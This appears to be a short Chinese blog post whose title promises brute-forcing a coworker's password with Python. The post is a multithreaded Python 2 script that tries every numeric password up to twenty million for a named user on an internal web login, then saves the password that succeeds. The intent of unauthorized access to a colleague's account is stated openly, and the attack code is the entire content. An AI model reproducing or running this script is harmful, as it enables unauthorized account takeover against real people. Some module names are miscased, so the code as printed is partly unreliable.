用 python 暴力破解同事密码(HT

2023-01-31 02:01:41 密码 暴力 同事
 
#-*- coding: utf-8 -*-


import urllib,urllib2, cookielib
cookie_support= urllib2.HttpCookieProcessor(cookielib.Cookiejar())
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)


import threading

class PrintNumber(threading.Thread):
    def __init__(self, n,m):
        self.n = n
        self.m=m
        super(PrintNumber,self).__init__()

    def run(self):
        for i in range(self.n, self.n+self.m):
            params = urllib.urlencode({'userName':'zjm1126','userPwd':str(i)})
            content = urllib2.urlopen('http://192.168.1.200/order/index.PHP?op=Login&ac=login&',params).read()
            
            if content.find('登录成功') > 0:
                file1 = open('passWord.txt','w')
                file1.write(str(i))
                return
            print i


def run(m,n):
    s= m/n
    a = [i*s for i in range(n)]
    for i in a:
        thread = PrintNumber(i,s)
        thread.start()

m = 20000000 #范围
n = 200       #几个线程

run(m,n)

相关文章